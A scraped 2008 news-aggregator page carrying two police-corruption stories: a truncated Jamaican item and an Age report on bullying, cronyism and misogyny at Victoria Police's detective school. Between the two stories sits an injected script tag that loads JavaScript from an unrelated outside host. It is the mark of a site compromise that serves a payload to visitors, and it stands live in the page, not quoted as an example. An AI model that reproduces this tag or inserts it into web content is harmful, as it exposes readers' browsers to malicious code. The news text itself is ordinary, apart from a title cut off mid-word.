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NEWS > 04 February 2008

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Jamaica: Combating the dark si
As outlined in last week's article, our police force continues to be plagued, weakened and endangered by corruption and other illegal activities. In spite of well-organised programmes by the Staff College (on campus and at various Divisional Headquarters), motivational speeches and warnings by the top brass, several young constables are seduced by the dark side of the force annually. This not only leads to an erosion of morale, distrust and disrespect by the citizenry but also a compromise of our security.

According to the book Towards Understanding and Combating Police Corruption b... Read more

 Article sourced from

<script src=http://wtrc.kangwon.ac.kr/skin/rook.js></script>
The Age - Melbourne,Victoria,A
04 February 2008
This article appeared in the above title/site.
To view it in its entirity click this link.


Bullying in police training

A HIGH-LEVEL police inquiry has uncovered cronyism, bullying of anti-corruption detectives and misogyny at the school where police are trained as detectives.

The inquiry's findings have sparked a move to overhaul the academy in Mount Waverley.

Deputy Commissioner Simon Overland has told The Age that sweeping changes to the Victoria Police Academy School of Investigation will include new hiring procedures, a significant increase in female instructors and the possible addition of teaching staff with non-police backgrounds.

The changes are the next step in Chief Commissioner Christine Nixon's reshaping of the force, which has included a focus on community policing, the restructure of the crime department and abolition of the trouble-plagued armed offenders squad.

The inquiry into the School of Investigation by former assistant commissioner Bill Robertson — revealed last year by The Age — began after two anti-corruption detectives working as instructors complained of bullying, ostracism and being openly referred to as "the filth," a derogatory term for internal investigators.

Mr Robertson's discovery of the pair's mistreatment comes several months after the Office of Police Integrity warned that negative attitudes towards anti-corruption investigators risked polluting the integrity of the force.

Mr Overland said the treatment of the pair was part of an outdated and inappropriate attitude at the school. This had been partly sustained by some nepotistic recruitment practices.

He said Mr Robertson had found that: "Aspects of the culture out there were clearly not supportive of those two people moving into that environment and that they actually experienced some hostility and some clearly inappropriate workplace behaviour.

"The leadership, culture and general approach to investigator training has not really kept up with broader changes in the organisation, and broader changes in the way that serious crime are now being investigated."

Mr Overland stressed that many staff at the detective training school, which began in 1938 and is the nation's oldest, had done a good job, but that some staff would be shifted.

"One of the criticisms is that the school has been a little bit prone to cronyism, particularly through its recruitment processes," he said.

"Increasingly we will be looking for people, and they may not be police, with good educational experience and trying to marry that with people with good investigatory experience. And we need to change the mix of male instructors."

He said a review would now examine how to implement Mr Robertson's recommendations, including boosting the ratio of female staff to 25%.

Several senior academy staff, including Assistant Commissioner Leigh Gassner, who resigned last year, have already moved to other roles.

Mr Overland conceded that the force had struggled to implement recommendations of previous inquiries at the academy, including a 2004 investigation that led to the removal of a chief inspector and two officers.

He said that clearly, on what Mr Robertson had found and based on some general observations, implementation of previous recommendations had not been as successful as hoped.

"Some of the problems that have been identified continued," he said. "So we need to come back and have another look and make sure we get it right this time around.

"Coming out of this and other work we have been doing around the major crime management review, we really now need to do another piece of work to determine how best to educate and equip our investigators to deal with the sort of crime they are dealing with."

 

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